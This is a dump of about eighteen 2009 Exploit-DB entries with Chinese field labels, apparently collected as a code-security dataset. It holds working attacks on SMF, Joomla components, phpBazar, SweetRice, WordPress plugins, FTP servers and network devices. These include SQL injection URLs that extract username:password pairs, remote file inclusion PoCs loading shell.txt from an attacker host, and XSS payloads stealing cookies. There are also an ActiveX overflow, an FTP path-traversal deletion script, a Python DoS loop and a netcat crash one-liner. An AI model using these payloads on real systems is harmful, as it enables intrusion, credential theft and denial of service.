QLWD/code_shield huggingface dataset:
标题: Simple Machines Forum (SMF) 1.1.10/2.0 RC2 - Multiple Vulnerabilities EDB-ID: 10274 CVE: 2013-0192 2009-5068 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-02 漏洞利用脚本: Simple Machines Forum is prone to multiple security vulnerabilities:

- A remote PHP code-execution vulnerability
- Multiple cross-site scripting vulnerabilities
- Multiple cross-site request-forgery vulnerabilities
- An information-disclosure vulnerability
- Multiple denial-of-service vulnerabilities

Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions on behalf of legitimate users, compromise the affected application, steal cookie-based authentication credentials, obtain information that could aid in further attacks or cause denial-of-service conditions.

Please note some of these issues may already be described in other BIDs. This BID will be updated if further analysis confirms this.

These issues affect Simple Machines Forum 2.0 RC2. Some of these issues also affect version 1.1.10. 

Bugtraq ID: 37182
Class: Unknown
CVE: 
Remote: Yes
Local: No
Published: Dec 02 2009 12:00AM
Updated: Dec 02 2009 12:00AM
Credit: SimpleAudit team from elhacker.net
Vulnerable: Simple Machines Simple Machines Forum 1.1.10
Simple Machines Simple Machines Forum 2.0 RC2


An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.

The following example URIs are available:

For information-disclosure issue issue:
http://server/index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==

For denial-of-service issue:
GET /.xml.html;sa=news;limit=999;type=rss HTTP/1.1

For denial-of-service issue (cookie):
Cookie: GLOBALS

For cross-site scripting issues:
http://server/index.php?action=admin;area=languages;sa=add;[token]
PoC: "><xss>

http://server/index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC: http://urlreal"><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/10274
标题: Haihaisoft Universal Player 1.4.8.0 - 'URL' Property ActiveX Buffer Overflow EDB-ID: 10269 CVE: 2009-4219 类型: REMOTE 平台: WINDOWS 发布日期: 2009-12-01 漏洞利用脚本: Haihaisoft Universal Player is prone to an unspecified buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successful exploits allow remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts will likely result in denial-of-service conditions.

Haihaisoft Universal Player 1.4.8.0 is vulnerable; other versions may also be affected.

Bugtraq ID: 37151
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Nov 30 2009 12:00AM
Updated: Dec 01 2009 01:15AM
Credit: shinnai
Vulnerable: Haihaisoft Haihaisoft Universal Player 1.4.8 0

<object classid='clsid:1A01FF01-EA62-4702-B837-1E07158145FA' id='test'></object>

<script language='vbscript'>

buff = String(3540, "A")

test.URL = "http://" + buff

</script> URL: https://www.exploit-db.com/exploits/10269
标题: Golden FTP Server 4.30 - File Deletion EDB-ID: 10258 CVE: 2009-4194 类型: REMOTE 平台: WINDOWS 发布日期: 2009-12-01 漏洞利用脚本: # Exploit Title: [Golden FTP Server File Deletion Vulnerability]
# Date: [18.11.2009]
# Author: [sharpe]
# Software Link: [http://www.goldenftpserver.com/download.html]
# Version: [4.30 Free and Professional]
# Tested on: [Windows XP SP3]
# CVE : [if exists]
# Code : [http://blog.sat0ri.com/?p=292]

#---
#sat0ri - sudden enlightenment
#http://blog.sat0ri.com/

use strict;
use Net::FTP

my $ftp = Net::FTP->new(”192.168.1.35&#8243;, Debug => 1) || die $@;

$ftp->login(”anonymous”, ‘anonymous@local.host’) || die $ftp->message;

# The FTP root is, via the configuration, set to C:\ftp\public
$ftp->cwd(”/public/”) || die $ftp->message;

# This deletes the file C:\bollocks.txt
$ftp->delete(”../../bollocks.txt”);

$ftp->quit;

$ftp = undef; URL: https://www.exploit-db.com/exploits/10258
标题: Ciamos CMS 0.9.5 - 'module_path' Remote File Inclusion EDB-ID: 10259 CVE: 2009-4156 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-01 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#Ciamos CMS <= 0.9.5 (module_path) Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/ciamosmodules/files/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./ciamos/modules/pms/index.php (line 13)
#       <?php
#          include_once($module_path.'include/header.php'); 
#       ?>
#PoC  :  http://server/modules/pms/index.php?module_path=http://[attacker]/shell.txt???
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################



   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10259
标题: Joomla! Component Quick News - SQL Injection EDB-ID: 10252 CVE: 2009-4785 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-30 漏洞利用脚本: /**************************************************************************

[!] Joomla Component Quick News SQL injection vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date : November 25, 2009
[!] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Download : http://joomlacode.org/gf/project/quicknews/
[+] Developer Info : Bhavesh Chauhan
[+] Description : Get The Quick News On the Joomla Interface. 
[+] Development Status: 1 - Planning
[+] License: GNU General Public License (GPL)
[+] Vulnerability : SQL injection
[+] Dork : intitle:"kaMtiEz"+"tukulesto"

===========================================================================

[ Here we go.. Proof of Concept ]

http://server/index.php?option=com_quicknews&task=view_item&newsid=[INDONESIANCODER]

[ Exploit ]

33/**/union/**/select/**/1,1,1,1,concat%28username,0x3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

[ D3M0 ]

http://server/index.php?option=com_quicknews&task=view_item&newsid=33/**/union/**/select/**/1,1,1,1,concat%28username,0x3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*

===========================================================================

[ Who The Hell Has Control of That Damn Smoke Machine ]

[~] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown
[~] kaMtiEz, M3NW5, arianom, Contrex, tiw0L, Pathloader, abah_benu, Saint, Cyb3r_tr0n, M364TR0N, VycOd,
[~] Jack-, Yadoy666 + miya666, s4va, senot, Bayu5154, Gonzhack, Tucker, Ian Petrucii, Ronz & FeeLCoMz
[~] kecemplungkalen, DraCoola Multimedia, XNITRO, rey_cute, Awan Bejat, Plaque, Gh4mb4s and YOU!!

[ Not ALLOWED ! ] 

[+] FOR MALINGSIAL


[ QUOTE ]

[+] kaMtiEz : Ada yang nyelip lg !!! lol~
[+] Thank you to ALL OF YOU called me piece of shit, especially for High school friends URL: https://www.exploit-db.com/exploits/10252
标题: phpBazar 2.1.1fix - 'cid' SQL Injection EDB-ID: 10245 CVE: 2009-4221 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-28 漏洞利用脚本: /*

Author          : MizoZ [from MA]
Group           : EvilWay, evilway[at]mail[dot]com
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka, Dyle !!

MABROOK L3IIIIIIIIIID

*/

The vulnerability is in the $_GET['catid'] , exploit :
http://server/classified.php?catid=2+and+1=0+union+all+select+1,2,3,4,5,6,7-- URL: https://www.exploit-db.com/exploits/10245
标题: Joomla! Component MusicGallery - SQL Injection EDB-ID: 10250 CVE: 2009-4217 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-30 漏洞利用脚本: /**************************************************************************

[!] Joomla Component MusicGallery SQL injection vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date : November 15, 2009
[!] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Download : http://joomlacode.org/gf/project/musicgallery/
[+] Developer Info : Itamar Elharar
[+] Description : multimedia mp3 gallery by category.
[+] Development Status: 4 - Beta
[+] License: GNU General Public License (GPL)
[+] Vulnerability : SQL injection


===========================================================================

[ Here we go.. Proof of Concept ]

http://server/index.php?option=com_musicgallery&task=itempage&id=[INDONESIANCODER]

[ Exploit ]

index.php?option=com_musicgallery&task=itempage&id=-23+union+select+1,1,concat%28username,0x3a,password%29,1,database%28%29,666,1,version%28%29,0x446f6e2054756b756c6573746f,1,2009,0x496e646f6e657369616e20436f646572,1,1,1+from+jos_users--&Itemid=54


===========================================================================

[ Who The Hell Has Control of That Damn Smoke Machine ]

[~] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown
[~] kaMtiEz, M3NW5, arianom, Contrex, tiw0L, Pathloader, abah_benu, Saint, Cyb3r_tr0n, M364TR0N, VycOd,
[~] Jack-, Yadoy666 + miya666, s4va, senot, Bayu5154, Gonzhack, Tucker, Ian Petrucii, Ronz & FeeLCoMz
[~] kecemplungkalen, DraCoola Multimedia, XNITRO, rey_cute, Awan Bejat, Plaque, Gh4mb4s and YOU!!

[ Not ALLOWED ! ] 

[+] FOR MALINGSIAL


[ QUOTE ]

[+] kaMtiEz : nyelip dari mana ini yah !!! lol~
[+] ok, Don't forget to say : Saya terima nikmatnya anak bapak dengan seperangkat alat kelamin di bayar tunai.
[+] also Dengan kekuatan datang bulan... akan menghukum mu !!! XD URL: https://www.exploit-db.com/exploits/10250
标题: SweetRice 0.5.3 - Remote File Inclusion EDB-ID: 10246 CVE: 2009-4231 2009-4224 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-29 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#SweetRice <= 0.5.0 Remote File Include Vulnerability
#Download Script      :  http://php.opensourcecms.com/scripts/redirect/download.php?id=353
#Dork                 :  die("lamers attempt");  :P
########################################################################
#
#Vuln : ./sweetrice/_plugin/subscriber/inc/post.php (line 2)
#       <?php
#         include_once($root_dir."_plugin/fckeditor/fckeditor.php") ;
#       ?>
#PoC  :  http://server/_plugin/subscriber/inc/post.php?root_dir=http://[attacker]/shell.txt???
#
#
#
########################################################################
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################




   [ Gorontalo / 2009 URL: https://www.exploit-db.com/exploits/10246
标题: Micronet SP1910 Data Access Controller UI - Cross-Site Scripting / HTML Code Injection EDB-ID: 10247 CVE: 2009-4234 类型: WEBAPPS 平台: HARDWARE 发布日期: 2009-11-27 漏洞利用脚本: # Exploit: XSS & Html code injection in Micronet SP1910 data access controller UI
# Date: 27-11-2009
# Author: K053
# Vendor: http://www.micronet.info/model_detail.aspx?series_no=6&sno=472
# Tested on : Private Networks

------------------------------------------------------------------------------------
Note :

Micronet introduces an exciting new product—SP1910 Network Access Controller. It is 
specially designed for secure wired and wireless network environments of small or 
medium companies. Micronet UI is vulnerable to xss attack .

Attacker able to steal users credential and disconnect them .

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-

POC :

you can spot xss any page , 

http://server/loginpages/error_user.shtml?uname=userid&msg=<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/10247
标题: Joomla! Component com_lyftenbloggie 1.04 - SQL Injection EDB-ID: 10238 CVE: 2009-4104 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-28 漏洞利用脚本: #############################################################################################
## Joomla Component com_lyftenbloggie Remote SQL injection vulnerability - (author)    ##
## Author : kaMtiEz (kamzcrew@yahoo.com)         ##
## Homepage : http://www.indonesiancoder.com                     ##
## Date : November 11, 2009                          ##
#############################################################################################

[ Software Information ]

[+] Vendor : http://www.lyften.com/
[+] Download : http://www.lyften.com/products/lyftenbloggie/download/id-10.html
[+] Description : LyftenBloggie is a blog publishing component for Joomla 1.5. LyftenBloggie is both free and opensource.
[+] version : 1.0.4 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_lyftenbloggie" / "Powered by LyftenBloggie"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################

[ Vulnerable File ]

http://server/index.php?option=com_lyftenbloggie&author=[ValidID][INDONESIANCODER]

[ Exploit ]

http://server/index.php?option=com_lyftenbloggie&author=62+union+select+1,concat_ws(0x3a,username,password),3,4,@@version,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users--

#############################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Setelah Bertapa kagak jelas sama Om Don Tukuesto ... akhirnya nemu lobang :D
[+] M3NW5 Ku tunggu di kotaku ... wkwkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih Ntah di mana kao sekarang sayang ..
[+] AURAKASIH telpon gua yach .. hha URL: https://www.exploit-db.com/exploits/10238
标题: Allegro RomPager 2.10 - URL Request Denial of Service EDB-ID: 10237 CVE: 2000-0470 类型: DOS 平台: HARDWARE 发布日期: 2000-06-01 漏洞利用脚本: Allegro's RomPager is reported prone to a remote denial of service vulnerability.

If a specifically-malformed request is sent to Allegro's RomPager, it will crash, often crashing the parent device as well. In this manner, network hardware and possibly entire networks can be rendered unusable by any remote attacker using only a browser. 

CVE : CVE-2000-0470
BID : 1290
Other references : OSVDB:1371
Nessus ID : 19304

The following example is made available by Seth Alan Woolley:
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works

the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80

$ ping $ip_address # doesn't work URL: https://www.exploit-db.com/exploits/10237
标题: Radio istek scripti 2.5 - Remote Configuration Disclosure EDB-ID: 10231 CVE: 2009-4096 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-25 漏洞利用脚本: turkish radio php script
======================================================

RADIO istek scripti (tr) Version 2.5 (tr) Remote config Vulnerability


<<!>> Found by? :? kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com 

<<!>> Groups : Kurd-Team 

<<!>> site : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script :: RADIO istek scripti (tr) Version 2.5 (tr)

<<->> download script ::
 http://www.scriptlerim.net/download/radio-istek-scripti-tr-.html

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> Dork:"2007 RADIOZAZA www.radiozaza.de? istek hatti Version 2.5"
<<->> 0r
<<->> Dork:"estafresgaftesantusyan.inc"


<<->> Exploit ::

>>> http://server/path/estafresgaftesantusyan.inc

Now can see all information Config ...

=======================================================

=======================================================

<<->> All freinds , Zryan_kurd , all member kurdish hackers
 team URL: https://www.exploit-db.com/exploits/10231
标题: phpBazar-2.1.1fix - Remote Administration-Panel EDB-ID: 10233 CVE: 2009-4222 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-25 漏洞利用脚本: phpBazar-2.1.1fix Remote Administration-Panel Vulnerability


<<!>> Found by? :? kurdish hackers team

<<!>> C0ntact : pshela [at] YaHoo .com 
?????????????????? 
<<!>> Groups : Kurd-Team 

<<!>> site?? : www.kurdteam.org

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script: phpBazar-2.1.1fix

<<->> download script ::
 http://www.smartisoft.com/products.php?product=phpbazar

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
<<->> Dork:phpBazar Ver. 2.1.0



<<->> Exploit ::

>>> http://server/path/admin/admin.php

Now we have admin control panel...

<<->> Demo :

http://server/ll/phpBazar-2.1.1fix/admin/admin.php

http://server/admin/admin.php

=======================================================

=======================================================

<<->> All freinds , Zryan_kurd , all member kurdish hackers team URL: https://www.exploit-db.com/exploits/10233
标题: WordPress Plugin WP-Cumulus 1.20 - Full Path Disclosure / Cross-Site Scripting EDB-ID: 10228 CVE: 2009-4170 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-25 漏洞利用脚本: I want to warn you about security vulnerabilities in plugin WP-Cumulus for
WordPress.

These are Full path disclosure and Cross-Site Scripting vulnerabilities.

Full path disclosure:

http://server/wp-content/plugins/wp-cumulus/wp-cumulus.php

XSS:

http://server/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Code will execute after click. It's strictly social XSS.

Vulnerable are WP-Cumulus 1.20 and previous versions.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/3665/).

P.S.

Best wishes & regards,
MustLive
Administrator of Websecurity web site URL: https://www.exploit-db.com/exploits/10228
标题: pointcomma 3.8b2 - Remote File Inclusion EDB-ID: 10220 CVE: 2009-4220 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-24 漏洞利用脚本: [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#PointComma <= 3.8b2 Remote File Include Vulnerability
#Download Script      :  http://nchc.dl.sourceforge.net/project/pointcomma/pointcomma/
#Dork                 :  die("Hacking attempt");  :D
########################################################################
#
#Vuln : ./PointComma-3.8b2/includes/classes/pctemplate.php (line 14)
#       <?php
#          require($pcConfig['smartyPath'].'Smarty.class.php'); 
#       ?>
#PoC  :  http://server/[path]/includes/classes/pctemplate.php?pcConfig[smartyPath]=http://attacker.com/shell.txt?cmd
#
#
#
########################################################################
#Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix,
#        dan seluruh orang yang membenciku dan menyayangiku [I Love U Full] :*
########################################################################

/##############################################\
#   all member at  sekuritionline.net          #
#   all member at  manadocoding.net            #
\##############################################/

   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10220
标题: TYPSoft FTP Server 1.10 - APPE DELE Denial of Service EDB-ID: 10223 CVE: 2009-4105 类型: DOS 平台: WINDOWS 发布日期: 2009-11-24 漏洞利用脚本: Bugtraq: http://seclists.org/bugtraq/2009/Nov/163

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: TYPSoft

Affected:
TYPSoft FTP Server Version 1.10
Earlier versions may also be affected

Overview:
TYPSoft FTP Server is an easy use FTP server Application. Denial of Service vulnerability exists in TYPSoft FTP Server 
when 

"APPE" and "DELE" commands are used in the same socket connection.

Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to 

Denial of Service attack:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()


Severity:
High

Exploit example:

#!/usr/bin/python
import socket
import sys
import time

def Usage():
    print ("Usage:  ./expl.py   <local_ip>  <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 127.0.0.1 127.0.0.1 anonymous anonymous\n")
    print ("Example:./expl.py 192.168.48.183 192.168.48.111 anonymous anonymous\n")
if len(sys.argv) <> 5:
        Usage()
        sys.exit(1)
else:
    local=sys.argv[1]
    hostname=sys.argv[2]
    username=sys.argv[3]
    passwd=sys.argv[4]
    test_string="a"*30
    ip_every=local.split('.')
    for i in range(1,10000):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((hostname, 21))
        except:
            print ("Connection error!")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("user %s\r\n" %username)
        print "[-] "+ ("user %s\r\n" %username)
        r=sock.recv(1024)
        print "[+] "+ r
        sock.send("pass %s\r\n" %passwd)
        print "[-] "+ ("pass %s\r\n" %passwd)
        r=sock.recv(1024)
        print "[+] "+ r
    
        sock_data.bind((local,31339))
        sock_data.listen(1)
        
        sock.send("PORT " + ip_every[0] +","+ ip_every[1] +","+ ip_every[2] +"," + ip_every[3] + ",122,107\r\n")
        print "[-] "+ ("PORT " + local + "122,107\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
            
        sock.send("APPE "+ test_string +"\r\n")
        print "[-] "+ ("APPE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r
        
        sock.send("DELE "+ test_string +"\r\n")
        print "[-] "+ ("DELE "+ test_string +"\r\n")
        r=sock.recv(1024)
        print "[+] "+ r    
         
        sock.close()
        sock_data.close()
        time.sleep(2)
                

 

    
    sys.exit(0); URL: https://www.exploit-db.com/exploits/10223
标题: Everfocus 1.4 - EDSR Remote Authentication Bypass EDB-ID: 10209 CVE: 2009-3828 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-10-14 漏洞利用脚本: **************************************************************
Product: Everfocus EDSR series
Version affected: 1.4 and older
Website: http://www.everfocus.com/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi () gmail com
Web: http://www.andreafabrizi.it
Vuln: remote DVR applet authentication bypass
**************************************************************

The EDSR firmware don't handle correctly users authentication and sessions.

This exploit let you to connect to every remote DVR (without username
and password) and see the live cams :)
Exploit: http://www.andreafabrizi.it/files/EverFocus_Edsr_Exploit.tar.gz

I discovered this vulnerability one year ago and i have informed the
vendor, but apparently
there is no solution at this time.

-- 
Andrea Fabrizi
http://www.andreafabrizi.it


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/10209.tar.gz (2009-11-22-EverFocus_Edsr_Exploit.tar.gz) URL: https://www.exploit-db.com/exploits/10209